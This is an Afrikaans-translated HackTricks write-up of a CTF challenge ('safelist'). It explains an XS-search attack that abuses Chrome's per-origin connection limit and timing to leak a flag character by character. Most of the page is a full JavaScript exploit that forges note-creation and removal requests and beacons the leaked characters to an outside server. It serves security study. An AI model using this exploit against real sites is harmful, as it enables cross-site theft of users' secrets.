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hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md
Translator workflow 9f40607d8c Translated to Afrikaans
2024-02-11 02:07:06 +00:00

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Verbindingspoel volgens Bestemming Voorbeeld

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

In hierdie uitbuiting, stel @terjanq nog 'n oplossing voor vir die uitdaging wat genoem word op die volgende bladsy:

{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}

Kom ons kyk hoe hierdie uitbuiting werk:

  • Die aanvaller sal 'n nota inspuit met soveel <img-etikette wat /js/purify.js laai as moontlik (meer as 6 om die oorsprong te blokkeer).
  • Dan sal die aanvaller die nota met indeks 1 verwyder.
  • Dan sal die aanvaller die bot die bladsy laat besoek met die oorblywende nota en sal 'n versoek stuur na victim.com/js/purify.js wat hy sal tyd.
  • As die tyd langer is, was die inspuiting in die nota wat oorgebly het, as die tyd laer is, was die vlag daarin.

{% hint style="info" %} Om eerlik te wees, terwyl ek die skripsie lees, het ek 'n deel gemis waar die aanvaller die bot die bladsy laat laai om die img-etikette te aktiveer, ek sien niks soortgelyks in die kode nie. {% endhint %}

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!